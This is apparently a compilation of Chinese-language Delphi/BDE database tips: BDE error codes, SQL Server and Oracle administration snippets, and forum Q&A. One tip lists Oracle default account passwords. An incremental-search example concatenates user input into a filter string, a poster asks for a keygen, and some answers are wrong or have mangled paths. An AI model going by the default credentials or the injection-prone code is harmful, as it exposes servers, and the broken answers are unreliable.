10763 : $2A0B : Table is read only.

10764 : $2A0C : No associated index.

10765 : $2A0D : Table(s) open. Cannot perform this operation.

10766 : $2A0E : Table does not support this operation.

10767 : $2A0F : Index is read only.

10768 : $2A10 : Table does not support this operation because

it is not uniquely indexed.

10769 : $2A11 : Operation must be performed on the current

session.

10770 : $2A12 : Invalid use of keyword.

10771 : $2A13 : Connection is in use by another statement.

10772 : $2A14 : Passthrough SQL connection must be shared

Os Error not handled by Idapi

11009 : $2B01 : Invalid function number.

11010 : $2B02 : File or directory does not exist.

11011 : $2B03 : Path not found.

11012 : $2B04 : Too many open files. You may need to increase

MAXFILEHANDLE limit in IDAPI configuration.

11013 : $2B05 : Permission denied.

11014 : $2B06 : Bad file number.

11015 : $2B07 : Memory blocks destroyed.

11016 : $2B08 : Not enough memory.

11017 : $2B09 : Invalid memory block address.

11018 : $2B0A : Invalid environment.

11019 : $2B0B : Invalid format.

11020 : $2B0C : Invalid access code.

11021 : $2B0D : Invalid data.

11023 : $2B0F : Device does not exist.

11024 : $2B10 : Attempt to remove current directory.

11025 : $2B11 : Not same device.

11026 : $2B12 : No more files.

11027 : $2B13 : Invalid argument.

11028 : $2B14 : Argument list is too long.

11029 : $2B15 : Execution format error.

11030 : $2B16 : Cross-device link.

11041 : $2B21 : Math argument.

11042 : $2B22 : Result is too large.

11043 : $2B23 : File already exists.

11047 : $2B27 : Unknown internal operating system error.

11058 : $2B32 : Share violation.

11059 : $2B33 : Lock violation.

11060 : $2B34 : Critical DOS Error.

11061 : $2B35 : Drive not ready.

11108 : $2B64 : Not exact read/write.

11109 : $2B65 : Operating system network error.

11110 : $2B66 : Error from NOVELL file server.

11111 : $2B67 : NOVELL server out of memory.

11112 : $2B68 : Record already locked by this workstation.

11113 : $2B69 : Record not locked.

Network related

11265 : $2C01 : Network initialization failed.

11266 : $2C02 : Network user limit exceeded.

11267 : $2C03 : Wrong .NET file version.

11268 : $2C04 : Cannot lock network file.

11269 : $2C05 : Directory is not private.

11270 : $2C06 : Directory is controlled by other .NET file.

11271 : $2C07 : Unknown network error.

11272 : $2C08 : Not initialized for accessing network files.

11273 : $2C09 : SHARE not loaded. It is required to share

local files.

11274 : $2C0A : Not on a network. Not logged in or wrong

network driver.

11275 : $2C0B : Lost communication with SQL server.

11277 : $2C0D : Cannot locate or connect to SQL server.

11278 : $2C0E : Cannot locate or connect to network server.

Optional parameter related

11521 : $2D01 : Optional parameter is required.

11522 : $2D02 : Invalid optional parameter.

Query related

11777 : $2E01 : obsolete

11778 : $2E02 : obsolete

11779 : $2E03 : Ambiguous use of ! (inclusion operator).

11780 : $2E04 : obsolete

11781 : $2E05 : obsolete

11782 : $2E06 : A SET operation cannot be included in its own

grouping.

11783 : $2E07 : Only numeric and date/time fields can be

averaged.

11784 : $2E08 : Invalid expression.

11785 : $2E09 : Invalid OR expression.

11786 : $2E0A : obsolete

11787 : $2E0B : bitmap

11788 : $2E0C : CALC expression cannot be used in INSERT,

DELETE, CHANGETO and SET rows.

11789 : $2E0D : Type error in CALC expression.

11790 : $2E0E : CHANGETO can be used in only one query form at

a time.

11791 : $2E0F : Cannot modify CHANGED table.

11792 : $2E10 : A field can contain only one CHANGETO

expression.

11793 : $2E11 : A field cannot contain more than one

expression to be inserted.

11794 : $2E12 : obsolete

11795 : $2E13 : CHANGETO must be followed by the new value

for the field.

11796 : $2E14 : Checkmark or CALC expressions cannot be used

in FIND queries.

11797 : $2E15 : Cannot perform operation on CHANGED table

together with a CHANGETO query.

11798 : $2E16 : chunk

11799 : $2E17 : More than 255 fields in ANSWER table.

11800 : $2E18 : AS must be followed by the name for the field

in the ANSWER table.

11801 : $2E19 : DELETE can be used in only one query form at

a time.

11802 : $2E1A : Cannot perform operation on DELETED table

together with a DELETE query.

11803 : $2E1B : Cannot delete from the DELETED table.

11804 : $2E1C : Example element is used in two fields with

incompatible types or with a BLOB.

11805 : $2E1D : Cannot use example elements in an OR

expression.

11806 : $2E1E : Expression in this field has the wrong type.

11807 : $2E1F : Extra comma found.

11808 : $2E20 : Extra OR found.

11809 : $2E21 : One or more query rows do not contribute to

the ANSWER.

11810 : $2E22 : FIND can be used in only one query form at a

time.

11811 : $2E23 : FIND cannot be used with the ANSWER table.

11812 : $2E24 : A row with GROUPBY must contain SET

operations.

11813 : $2E25 : GROUPBY can be used only in SET rows.

11814 : $2E26 : Use only INSERT, DELETE, SET or FIND in

leftmost column.

11815 : $2E27 : Use only one INSERT, DELETE, SET or FIND per

line.

11816 : $2E28 : Syntax error in expression.

11817 : $2E29 : INSERT can be used in only one query form at

a time.

11818 : $2E2A : Cannot perform operation on INSERTED table

together with an INSERT query.

11819 : $2E2B : INSERT, DELETE, CHANGETO and SET rows may not

be checked.

11820 : $2E2C : Field must contain an expression to insert

(or be blank).

11821 : $2E2D : Cannot insert into the INSERTED table.

11822 : $2E2E : Variable is an array and cannot be accessed.

11823 : $2E2F : Label

11824 : $2E30 : Rows of example elements in CALC expression

must be linked.

11825 : $2E31 : Variable name is too long.

11826 : $2E32 : Query may take a long time to process.

11827 : $2E33 : Reserved word or one that can't be used as a

variable name.

11828 : $2E34 : Missing comma.

11829 : $2E35 : Missing ).

11830 : $2E36 : Missing right quote.

11831 : $2E37 : Cannot specify duplicate column names.

11832 : $2E38 : Query has no checked fields.

11833 : $2E39 : Example element has no defining occurrence.

11834 : $2E3A : No grouping is defined for SET operation.

11835 : $2E3B : Query makes no sense.

11836 : $2E3C : Cannot use patterns in this context.

11837 : $2E3D : Date does not exist.

11838 : $2E3E : Variable has not been assigned a value.

11839 : $2E3F : Invalid use of example element in summary

expression.

11840 : $2E40 : Incomplete query statement. Query only

contains a SET definition.

11841 : $2E41 : Example element with ! makes no sense in

expression.

11842 : $2E42 : Example element cannot be used more than twice

with a ! query.

11843 : $2E43 : Row cannot contain expression.

11844 : $2E44 : obsolete

11845 : $2E45 : obsolete

11846 : $2E46 : No permission to insert or delete records.

11847 : $2E47 : No permission to modify field.

11848 : $2E48 : Field not found in table.

11849 : $2E49 : Expecting a column separator in table header.

11850 : $2E4A : Expecting a column separator in table.

11851 : $2E4B : Expecting column name in table.

11852 : $2E4C : Expecting table name.

11853 : $2E4D : Expecting consistent number of columns in all

rows of table.

11854 : $2E4E : Cannot open table.

11855 : $2E4F : Field appears more than once in table.

11856 : $2E50 : This DELETE, CHANGE or INSERT query has no

ANSWER.

11857 : $2E51 : Query is not prepared. Properties unknown.

11858 : $2E52 : DELETE rows cannot contain quantifier

expression.

11859 : $2E53 : Invalid expression in INSERT row.

11860 : $2E54 : Invalid expression in INSERT row.

11861 : $2E55 : Invalid expression in SET definition.

11862 : $2E56 : row use

11863 : $2E57 : SET keyword expected.

11864 : $2E58 : Ambiguous use of example element.

11865 : $2E59 : obsolete

11866 : $2E5A : obsolete

11867 : $2E5B : Only numeric fields can be summed.

11868 : $2E5C : Table is write protected.

11869 : $2E5D : Token not found.

11870 : $2E5E : Cannot use example element with ! more than

once in a single row.

11871 : $2E5F : Type mismatch in expression.

11872 : $2E60 : Query appears to ask two unrelated questions.

11873 : $2E61 : Unused SET row.

11874 : $2E62 : INSERT, DELETE, FIND, and SET can be used only

in the leftmost column.

11875 : $2E63 : CHANGETO cannot be used with INSERT, DELETE,

SET or FIND.

11876 : $2E64 : Expression must be followed by an example

element defined in a SET.

11877 : $2E65 : Lock failure.

11878 : $2E66 : Expression is too long.

11879 : $2E67 : Refresh exception during query.

11880 : $2E68 : Query canceled.

11881 : $2E69 : Unexpected Database Engine error.

11882 : $2E6A : Not enough memory to finish operation.

11883 : $2E6B : Unexpected exception.

11884 : $2E6C : Feature not implemented yet in query.

11885 : $2E6D : Query format is not supported.

11886 : $2E6E : Query string is empty.

11887 : $2E6F : Attempted to prepare an empty query.

11888 : $2E70 : Buffer too small to contain query string.

11889 : $2E71 : Query was not previously parsed or prepared.

11890 : $2E72 : Function called with bad query handle.

11891 : $2E73 : QBE syntax error.

11892 : $2E74 : Query extended syntax field count error.

11893 : $2E75 : Field name in sort or field clause not found.

11894 : $2E76 : Table name in sort or field clause not found.

11895 : $2E77 : Operation is not supported on BLOB fields.

11896 : $2E78 : General BLOB error.

11897 : $2E79 : Query must be restarted.

11898 : $2E7A : Unknown answer table type.

11926 : $2E96 : Blob cannot be used as grouping field.

11927 : $2E97 : Query properties have not been fetched.

11928 : $2E98 : Answer table is of unsuitable type.

11929 : $2E99 : Answer table is not yet supported under server

alias.

11930 : $2E9A : Non-null blob field required. Can't insert

records

11931 : $2E9B : Unique index required to perform changeto

11932 : $2E9C : Unique index required to delete records

11933 : $2E9D : Update of table on the server failed.

11934 : $2E9E : Can't process this query remotely.

11935 : $2E9F : Unexpected end of command.

11936 : $2EA0 : Parameter not set in query string.

11937 : $2EA1 : Query string is too long.

11946 : $2EAA : No such table or correlation name.

11947 : $2EAB : Expression has ambiguous data type.

11948 : $2EAC : Field in order by must be in result set.

11949 : $2EAD : General parsing error.

11950 : $2EAE : Record or field constraint failed.

11951 : $2EAF : When GROUP BY exists, every simple field in

projectors must be in GROUP BY.

11952 : $2EB0 : User defined function is not defined.

11953 : $2EB1 : Unknown error from User defined function.

11954 : $2EB2 : Single row subquery produced more than one row.

11955 : $2EB3 : Expressions in group by are not supported.

11956 : $2EB4 : Queries on text or ascii tables is not supported.

11957 : $2EB5 : ANSI join keywords USING and NATURAL are not

supported in this release.

11958 : $2EB6 : SELECT DISTINCT may not be used with UNION

unless UNION ALL is used.

11959 : $2EB7 : GROUP BY is required when both aggregate and

non-aggregate fields are used in result set.

11960 : $2EB8 : INSERT and UPDATE operations are not supported

on autoincrement field type.

11961 : $2EB9 : UPDATE on Primary Key of a Master Table may

modify more than one record.

11962 : $2EBA : Queries on MS ACCESS tables are not supported

by local query engines.

11963 : $2EBB : Preparation of field-level constraint failed.

11964 : $2EBC : Preparation of field default failed.

11965 : $2EBD : Preparation of record-level constraint failed.

11972 : $2EC4 : Constraint Failed. Expression:

Version Mismatch Category

12033 : $2F01 : Interface mismatch. Engine version different.

12034 : $2F02 : Index is out of date.

12035 : $2F03 : Older version (see context).

12036 : $2F04 : .VAL file is out of date.

12037 : $2F05 : BLOB file version is too old.

12038 : $2F06 : Query and Engine DLLs are mismatched.

12039 : $2F07 : Server is incompatible version.

12040 : $2F08 : Higher table level required

Capability not supported

12289 : $3001 : Capability not supported.

12290 : $3002 : Not implemented yet.

12291 : $3003 : SQL replicas not supported.

12292 : $3004 : Non-blob column in table required to perform

operation.

12293 : $3005 : Multiple connections not supported.

12294 : $3006 : Full dBASE expressions not supported.

12295 : $3007 : Nested transactions not supported.

System configuration error

12545 : $3101 : Invalid database alias specification.

12546 : $3102 : Unknown database type.

12547 : $3103 : Corrupt system configuration file.

12548 : $3104 : Network type unknown.

12549 : $3105 : Not on the network.

12550 : $3106 : Invalid configuration parameter.

Warnings

12801 : $3201 : Object implicitly dropped.

12802 : $3202 : Object may be truncated.

12803 : $3203 : Object implicitly modified.

12804 : $3204 : Should field constraints be checked?

12805 : $3205 : Validity check field modified.

12806 : $3206 : Table level changed.

12807 : $3207 : Copy linked tables?

12809 : $3209 : Object implicitly truncated.

12810 : $320A : Validity check will not be enforced.

12811 : $320B : Multiple records found, but only one was

expected.

12812 : $320C : Field will be trimmed, cannot put master

records into PROBLEM table.

Miscellaneous

13057 : $3301 : File already exists.

13058 : $3302 : BLOB has been modified.

13059 : $3303 : General SQL error.

13060 : $3304 : Table already exists.

13061 : $3305 : Paradox 1.0 tables are not supported.

13062 : $3306 : Update aborted.

Compatibility related

13313 : $3401 : Different sort order.

13314 : $3402 : Directory in use by earlier version of

Paradox.

13315 : $3403 : Needs Paradox 3.5-compatible language driver.

Data Repository related

13569 : $3501 : Data Dictionary is corrupt

13570 : $3502 : Data Dictionary Info Blob corrupted

13571 : $3503 : Data Dictionary Schema is corrupt

13572 : $3504 : Attribute Type exists

13573 : $3505 : Invalid Object Type

13574 : $3506 : Invalid Relation Type

13575 : $3507 : View already exists

13576 : $3508 : No such View exists

13577 : $3509 : Invalid Record Constraint

13578 : $350A : Object is in a Logical DB

13579 : $350B : Dictionary already exists

13580 : $350C : Dictionary does not exist

13581 : $350D : Dictionary database does not exist

13582 : $350E : Dictionary info is out of date - needs Refresh

13584 : $3510 : Invalid Dictionary Name

13585 : $3511 : Dependent Objects exist

13586 : $3512 : Too many Relationships for this Object Type

13587 : $3513 : Relationships to the Object exist

13588 : $3514 : Dictionary Exchange File is corrupt

13589 : $3515 : Dictionary Exchange File Version mismatch

13590 : $3516 : Dictionary Object Type Mismatch

13591 : $3517 : Object exists in Target Dictionary

13592 : $3518 : Cannot access Data Dictionary

13593 : $3519 : Cannot create Data Dictionary

13594 : $351A : Cannot open Database

Driver related

15873 : $3E01 : Wrong driver name.

15874 : $3E02 : Wrong system version.

15875 : $3E03 : Wrong driver version.

15876 : $3E04 : Wrong driver type.

15877 : $3E05 : Cannot load driver.

15878 : $3E06 : Cannot load language driver.

15879 : $3E07 : Vendor initialization failed.

15880 : $3E08 : Your application is not enabled for use with

this driver.


三层结构的更新数据问题
应用服务器上使用TQuery作为TDataprovider的DATASET，使用自动生成SQL更新

用户端APPLYUPDATES后，在应用服务器上可以看到传过来得数据，并触发了BEFORE

UPDATEDATA，但数据库没有得到更新，为什么！！

我用多层的时候也是遇这问题，ClientDataSet将服务端的数据是下载过来，其它的事件就在本机上工作了，就好像它是一个临时的DataSet存储了服务端的数据。所以当别人更新时，服务器的记录已经更新，但是在另外客户端并不会。

我想这样或可解：

再加入ServerSocket(Server端),ClientSocket(Client端),当服务端AfterUpdateData中

写入:

for i:=0 to Client_Number-1 do

begin

ServerSocket.Socket.Connections[i].SendText('Client Refresh');

end;

在Client端中的ClientSocket的OnRead事件中：

var str:string;

begin

str:=Socket.ReceiveText;

if str='Client Refresh' then

begin

ClientDataSet.Close;

ClientDataSet.CommandText:='select * from table';

ClientDataSet.Open;

end;

end;

Are you OK?


SQL语句的调试
一般地，在编写SQL语句的时候，可能会出现错误，并且在大部分的程序员在编写程序的时候，是把SQL语句直接写在程序当中的，因此，如果SQL语句不正确，需要修改的话，必须重新编写代码，重新编译程序，而这样将导致浪费大量的时间。因此我们可以采取一个变通的方法，把SQL语句写在一个临时的文件里面，程序从这个文件里面加载SQL语句，那么如果要修改SQL语句的话，我们就没有必要修改程序和编译程序了，只要修改这个临时文件即可，因此可以得到即时修改即时看到结果的好处！


Error creating cursor handle
出现Error creating cursor handle错误？

例如有一个类似下面的SQL语句：

update "parts.db"

set "parts.db"."Retail Price" =

(("parts.db"."Retail Price" * :percentage) + "parts.db"."Retail Price")

where "parts.db"."Part Number" like :pre

and "parts.db"."Retail Price" < :high

and "parts.db"."Retail Price" > :low

运行的时候，出现上面的错误？如何改正？

这是因为Update语句不返回任何信息，只是更新数据而已，而你使用了Open或者Active:=True来执行你的语句，这两个方法需要返回一个游标！当然出现错误了！用ExecSQL代替即可~~~~~~：）


将query的结果输出到新表
例: query1里有lookup和计算字段.

另起一个query2.

query2的sql为: insert into table values(:a1, :a2, ...:aN)

程序中: Query2.ParamByName('a1').AsString := Query1.FieldByName('a1').AsString;

Query2.ParamByName('a2').AsString := Query1.FieldByName('a2').AsString;

......

Query2.ParamByName('aN').AsString := Query1.FieldByName('aN').AsString;

Query2.ExecSQL;


如何在Query中做增量查询
如何在Query中做增量查询

为了在一个表中做增量查询，必须在TEdit的OnChange事件中添加下列代码：

procedure TForm1.Edit1Change(Sender: TObject);

begin

  With Edit1 do

    if Text <> '' then

begin

      Query1.Filter:='code='''+Edit1.Text+'''';

      Query1.FindFirst;

    end;

end;

另一种方法是：

procedure TForm1.Edit1Change(Sender: TObject);

begin

  With Edit1 do

    if Text<> '' then

      Query1.Locate('code',Edit1.Text,[loPartialKey]);

end;


如何选择奇数或者偶数序号的纪录
用MSSQL7建一新表table1，其数据如下(ID1的类型为：Int)：

id1

1

2

3

4

假如用Select语句，如何实现只显示id1为奇数或偶数的数据?比如，只显示奇数：

id1

1

3

或只显示偶数：

id1

2

4

如何做?

**************8

select * from field - (field/2)*2=0

*********

select * from table1 where right(convert(char(10),id1),1) in ('0','2','4','6','8') 为 偶数

select * from table1 where right(convert(char(10),id1),1) in ('1','3','5','7','9') 为 偶数


动态创建Sql Server数据库
如何在客户端用Delphi程序在服务器端创建数据库？

peacock(2000-12-19 23:33:00)

全部都可以用SQL来处理，只要执行SQL语句就可以了！

1、创建数据库可以这样：

IF EXISTS (SELECT *

FROM sysdatabases

WHERE name = '数据库名称')

BEGIN

DROP database 数据库名称

END;

CREATE database 数据库名称;

2、创建表：

IF EXISTS (SELECT *

FROM sysobjects

WHERE name = '表名')

BEGIN

DROP TABLE 表名

END;

CREATE TABLE 表名

(

字段ID int not null IDENTITY,

字段1 varchar(16) primary key,

字段2 varchar(100) not null,

......

字段n varchar(100) not null /*注意这里没有逗号*/

)


UPDATE更改图片字段
读：

TBlobField * pField=(TBlobField *)pQuery->FieldByName("Image");

TBlobStream * pmem=new TBlobStream(pField,bmRead);

pmem->Seek(0,soFromBeginning);

Graphics::TBitmap * pBitmap=new Graphics::TBitmap();

pBitmap->LoadFromStream(pmem);

Image1->Picture->Assign(pBitmap);

delete pBitmap;

delete pmem;

写：

TBlobField * pField=(TBlobField *)pQuery->FieldByName("Image");

TBlobStream * pmem=new TBlobStream(pField,bmWrite);

pmem->Seek(0,soFromBeginning);

Graphics::TBitmap * pBitmap=new Graphics::TBitmap();

pBitmap->Assign(Image1->Picture->Graphic);

pBitmap->SaveToStream(pmem);

delete pBitmap;

delete pmem;

注意：一定要用此方法进行读写，因为实际上它是以二进制流的方式存入数据库！


不显示SQL的沙漏形鼠标指针
TSession.SqlHourGlass

-------------------------

在程序的project Source 中最开始写

screen.Cursors[-17]:=screen.Cursors[-19];


SQL数据库应用程序发布
很多朋友在编写完成基于SQLServer的程序后对发布程序感到头疼,因为仅仅发布应用程序和BDE是不够的,必须安装SQLServer Client软件,难道还要提供一张SQLServer的光盘?下面jojo为大家介绍一个解决之道:

1.准备一份Install Shield Express,最好是2.01以上的版本,在Delphi的安装盘上有一个专用版本也可以用,按照制作一般程序安装盘的方法建立安装程序, 必须安装BDE和SQL LINKS.

2.在你的Windows下面找到以下几个文件(当然你的机器必须已经安装SQLServer):

Dbmssocn.dll TCP/IP 支持文件

Dbmsspxn.dll IPX 支持文件

Dbnmpntw.dll 命名管道支持文件

Ntwdblib.dll SQLServer核心文件(这个文件最重要)

3.在Fpecify Components and Files的Groups and Files中,将以上几个文件加入到Program Files中去.当然你也可以建立一个组,将这些文件拷贝到System目录中,不过jojo个人倾向于拷贝到安装目录,以便反安装的时候可以彻底的删除它们.

4.如果你的程序运行比较简单(比如只有一个网段)现在你已经大功告成了,但不幸的是大多数人的网络环境没有如此简单,下面还要修改注册表:

增加一个:hkey_local_machine_/software/Microsoft/MSSQLserver/CLIENT/db-lib,其中DSQUERY设定默认的连接协议,这里设定的是IPX,128.1.1.1则是专有的连接, 这里是设定一个连接名称为128.1.1的连接,使用TCP/IP协议,IP地址为128.1.1.1,你也可以把键名改成其他名称,只要与你的别名中SERVER NAME一项相同即可.

至此,你的安装盘已经做成,现在只需要Building一下就可以了.


如何从一个存储过程中返回结果
如何从一个存储过程中返回结果？

类似下面的：

var

sp : TStoredProc;

begin

sp := TStoredProc.Create(nil);

with sp do

begin

DatabaseName := 'test';

StoredProcName := 'dbwintech1.johnt;1';

ExecProc;

Caption := IntToStr(Params[0].AsInteger);

Free;

end;

end;


oracle数据库的密码
INTERNAL Oracle DBA的用户名

SYSTEM MANAGER 可用的数据库管理员

SCOTT TIGER CONNECT和RESOURSE角色的用户名

DEMO DEMO CONNECT和RESOURSE角色的用户名

DBSNMP DBSNMP Oracle Enterprise Manager管理员

CTXSYS CTXSYS 内容Catridge管理员

ORDSYS ORDSYS 图像Catridge管理员

MDSYS MDSYS 空间Catridge管理员

SYS的口令为CHANGE_ON_INSTALL


修改Delphi使之适应SQL Server2000
把 SQL Server 7.0 换为 SQL Server 2000 后，执行正常的程序都出错了。仔细一查，原来是 SQL Server 2000

将存储过程的返回参数改了名(RETURN_VALUE 改成了 @RETURN_VALUE)。让我们来对 ADODB 作少许改动，使之兼容

7.0 和 2000。

1、使用 File -> Open Project 打开 Source.pas。

2、定位到 TADOConnection.WillExecute，在 begin 后加入如下代码

[code]

// 用来兼容 SQL Server 7.0 和 SQL Server 2000

if (pCommand.Parameters.Count > 0) and

((pCommand.Parameters[0].Name = 'RETURN_VALUE') or

(pCommand.Parameters[0].Name = '@RETURN_VALUE')) then

begin

if pConnection.Properties['DBMS Version'].Value < '08.00.0000' then

pCommand.Parameters[0].Name := 'RETURN_VALUE'

else pCommand.Parameters[0].Name := '@RETURN_VALUE'

end;

[/code]

3、定位到 TADOCommand.FindParam 在 Result = ni 前加入如下代码

[code]

// 用来兼容 SQL Server 7.0 和 SQL Server 2000

if (Count > 0) and ((Value = 'RETURN_VALUE') or (Value = '@RETURN_VALUE')) then

begin

Result := Items[0];

if (Result.Name = '@RETURN_VALUE') or (Result.Name = 'RETURN_VALUE') then Exit;

end;

[/code]

4、编译 ADODB.pas

5、将编译后的 ADODB.dcu 复制到 Lib 目录下覆盖原有的 ADODB.dcu。


SQL语句的优化

A) 选择运算尽可能优先，这是最基本的一条

B) 在连接操作操作前对表进行排序或者建立索引，这样是为了减少扫描时间

C) 投影和选择同时进行。数据是以记录为单为存取得，选择运算可以过滤很多不符合条件的记录，而投影运算还是必须读取整个记录，然后选择其中的列，不过在进行笛卡尔乘积之前，是一个非常好的策略。

D) 把投影和其前的双目运算符结合起来，没有必要为了去掉一些字段而单独扫描一遍整个表

E) 把某些选择和它前面要执行的笛卡尔乘积结合起来形成一个连接运算

如果有重复出现的子表达式，并且计算这个表达式的时间大于从外存中读取表达式的结果的关系，那么可以考虑把这个表达式先计算一次，把结果保存到一个临时文件，并且从其中读取结果关系

********************

曹晓钢 在 2002-4-5 15:53:05 提供了如下回答, 请您查阅和评估:

--------------------------------------------------------------------------

---

找到SQL Expert了。

它是LECCOTECH www.leccotech.com出品的。我下了一个3.21版的for oracle的。它

居然

还有简体中文版的！其他语种都没有。

它优化的过程是这样的。你输入一个SQL语句，它开始分析所有的join什么的，还有

和

一些模式进行匹配，然后生成一堆具有同样功能的SQL语句。有一次我生成出来了114

个。

大部分情况是10个一下。它为每一个SQL语句会产生一个Expert Rank,大致标志性能

好坏。

然后你可以Batch Run.就是逐个的跑，他自己会计算时间。你可以设置如果执行时间

比原来

的还长，就中止。这样把所有的SQL都跑下来，你就知道哪个SQL是最适合你database

中的真

实数据的乐。可以想象，如果表结构一样，但是数据不同，可能优化出来的SQL是不

一样的。

比如1000条记录和1000000条记录，可能结果不同。

我把我的系统中的SQL挑了几个长的运行了一下。表连接比较少的效果就不明显。挑

两个明显的

说说。

一个是这样的 xxx and a.status <>5 .

被优化成了 a.status>5 or a.status<5 .猜猜效率提高了多少？4.23 second 到

1.67 second!

我们估计是Oracle对<>无法应用index的原因。

还有一个是原来在where字句里用了 NOT IN ( A ),它改成了 IN ( B-C)的形势，这

次从3.45秒

优化到1.07秒。

赫赫。用了这个东西，只有一个坏处，人会变懒的...

有谁有注册机的？


bde连oracle数据库
bde连oracle数据库时，总是出现下面的错误：

Verdor initiliziation failed.

在BDE ADMINISTRATOR 中的Configuration下的drivers->native->

oracle中设置Vendor Init项的值为oci.dll(缺省为ora73.dll)


如何显示装有SQL SEVER2000的机器名
如何显示装有SQL SEVER2000的机器名

如有三台电脑a,b,c,a和b装有SQL SEVER2000,如何在一个列表里显示a和b?

： qiubolecn(来自差生市)

两个方法，一个是用

netenumserver

它的servertype为SV_TYPE_SQLSERVER

二是用

procedure TForm1.Button1Click(Sender: TObject);

var

SQLServer:Variant;

ServerList:Variant;

i,nServers:integer;

sRetValue:String;

begin

SQLServer := CreateOleObject('SQLDMO.Application');

ServerList:= SQLServer.ListAvailableSQLServers;

nServers:=ServerList.Count;

for i := 1 to nservers do

ListBox1.Items.Add(ServerList.Item(i));

SQLServer:=NULL;

serverList:=NULL;

end;


MySQL中文参考手册

附件>>>>> mysql手册.zip


把Word文件存入数据库
SQL Server和Delphi中有一个讨厌的地方就是，存储任意二进制文件的时候，比较烦人，例如把一个Word文件（25KB）保存到SQL Server中，但是等你重新提出保存成另外的文件的时候，可能生成的文件大小只有24.7KB左右大小了！这样Word就不能打开重新生成的文件！

要解决这个问题，要做几个修改：

首先，你必须修改SQL Server中用来保存任意文件的字段的类型为Image（不要用Text/nText字段，更加不要用Binary/VarBinary字段，因为binary字段最多只能存储8K的数据）数据类型，然后，你在Word里面添加字段的时候，Delphi会默认字段类型为ftMemo，你必须把这个字段改成ftBlob字段！以后你就可以通过

Table1FileField.LoadFromFile()/SaveToFile()来读取任意的二进制文件了！而且不会丢失任何字节！也不会多出什么东西来！这是Kingron的经验之谈。


默认值的问题
在SQL Server中设置了默认值之后，在客户端新增之后立即保存，然后再进行修改的话，会出现“数据已经被修改”的错误，解决方法：

把Table的CursorLocation设置为clUseServer即可。


SQL Server数据库日志大小
SQL Server的日志是一个可怕的家伙，会不停的增长，如果限制大小，又会出现问题！那么如何减少SQL Server日志的大小呢？用如下的命令即可：

backup log DatabaseName with no_log

dbcc shrinkdatabase(DatabaseName)

或者接下来，用企业管理器收缩数据库即可！

代码如下：

with TADOQuery.Create(Self) do

try

Connection := FrmDm.dbKS;

///清除日志，并且收缩数据库，减少物理文件大小

SQL.Add('backup log KS with no_log');

SQL.Add('dbcc shrinkdatabase(KS)');

ExecSQL;

finally

Free;

end;

---------------------------------------

nzfsoft

下面这段sql代码是改自Microsoft的， 你运行一下生成的stored proc， 可以把你的log文件缩小到10M, ^_^

注意把里面注释的数据库名改成你自己的库名啊

if exists (select * from sysobjects where id = object_id(N'[dbo].[Truncate_Log_File]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)

drop procedure [dbo].[Truncate_Log_File]

GO

SET QUOTED_IDENTIFIER OFF SET ANSI_NULLS ON

GO

CREATE PROCEDURE [Truncate_Log_File] AS

SET NOCOUNT ON

DECLARE @LogicalFileName sysname,

@MaxMinutes INT,

@NewSize INT

SELECT @LogicalFileName = 'XXXX_LOG', -- 这里的XXXX_LOG替换成泥自己数据库的log名

@MaxMinutes = 10,

@NewSize = 10

DECLARE @OriginalSize int

SELECT @OriginalSize = size

FROM sysfiles

WHERE name = @LogicalFileName

DECLARE @Counter INT,

@StartTime DATETIME,

@TruncLog VARCHAR(255)

WHILE @OriginalSize*8/1024>@Newsize

BEGIN

CREATE TABLE DummyTrans

(DummyColumn char (8000) not null)

SELECT @StartTime = GETDATE(),

@TruncLog = 'BACKUP LOG ['+ db_name() + '] WITH TRUNCATE_ONLY'

DBCC SHRINKFILE (@LogicalFileName, @NewSize)

EXEC (@TruncLog)

WHILE @MaxMinutes > DATEDIFF (mi, @StartTime, GETDATE())

AND @OriginalSize = (SELECT size FROM sysfiles WHERE name = @LogicalFileName)

AND (@OriginalSize * 8 /1024) > @NewSize

BEGIN

SELECT @Counter = 0

WHILE ((@Counter < @OriginalSize / 16) AND (@Counter < 5000))

BEGIN

INSERT DummyTrans VALUES ('Fill Log')

DELETE DummyTrans

SELECT @Counter = @Counter + 1

END

EXEC (@TruncLog)

END

SELECT @OriginalSize=size

FROM sysfiles

WHERE name = @LogicalFileName

DROP TABLE DummyTrans

END

SET NOCOUNT OFF

GO

SET QUOTED_IDENTIFIER OFF SET ANSI_NULLS ON

GO


SQL Server数据的导入和导出
SQL Server数据的导入和导出：

注意：要在客户端运行下面的命令，必须要有bcp.exe和bcp.rll两个文件！

除此之外，还可能需要odbcbcp.dll这个文件，不过Win98以上的OS中，已经带有这个文件了。

下面的命令把服务器kingron中的数据库KS中的表IDInfo中的数据全部导出到C:.dat中。

U是用户名，P是密码。

bcp "select * from ks..IDInfo" queryout C:.dat -S"kingron" -U"server" -P"" -n

导出之后，如果有另外一台服务器，也有一个一模一样的数据库，那么可以用下面的命令导入：

bcp "ks..IDInfo" in C:.dat -S"KS" -U"server" -P"" -n

因此，我们要把一台SQL的数据导入到另外一台服务器的话，只要用WinExec执行上面的命令即可！


如何从查寻结果中只返回一段数据
希望能取得任一段数据,不一定是top 20,以前在db2 中,我是用olap RowNumber,来给中间的查询结果排个位置,然后再取任一段

就可以了,不知在Sqlserver 中如何实现.

那你可以用类似的办法：

select top 3 * from (select top 6 * from employees) as A order by Employeeid

desc

可以得到中间三条记录：4，5，6。

Simon Liao


SQL Server收缩数据库问题
我的数据库在做Shrink前，显示Space Free 70%，可是作完Shrink后，数据库文件大小并没变化？

首先，收缩的前提的，数据库的属性中的MODEL模式要改为SIMPLE。

具体操作如下：点击你数据库的属性-》OPTIONS-》RECOVERY，MODEL-》改成SIMPLE

然后你再收缩吧，可以达到你的目的。


Oracle 8.1.x无法在P4的机器上面安装
我用的是windows 2000 server 5.00.2195 service pack 2和从Oracle官方网站下的Oracle 8.1.7，但当我双击nt817personal后，鼠标只是显示忙了一下，同时CPU使用达100%，却没有任何程序运行，也没有其他的报错

解答：

P4主板的pc机因为无法运行java安装引导程序，所以无法安装oracle816,解决办法如

下：

1、将光盘的所有文件拷贝到硬盘；

2、找到STAGE.swd.jre1.1.7.241

.dll文件，将起改名（比如

symcjitbak.dll)

3、从硬盘启动安装程序

我的机器是cpu1.7g+windowsxp,安装的是ora817。安装成功后，xp一直报告java.exe错误，后来使用jdk1.3.3覆盖:下的所有文件后解决

我安装的是817，是下载一个补丁程序就可以在xp下安装成功。

请问哪个版本的ORACLE可以不加修改就能完全正常安装在P4主板上？--〉oracle 9i2.0


必须注意的安全漏洞
ZSWang:

//数据库为 SQL Server

//请说说如下代码的漏洞

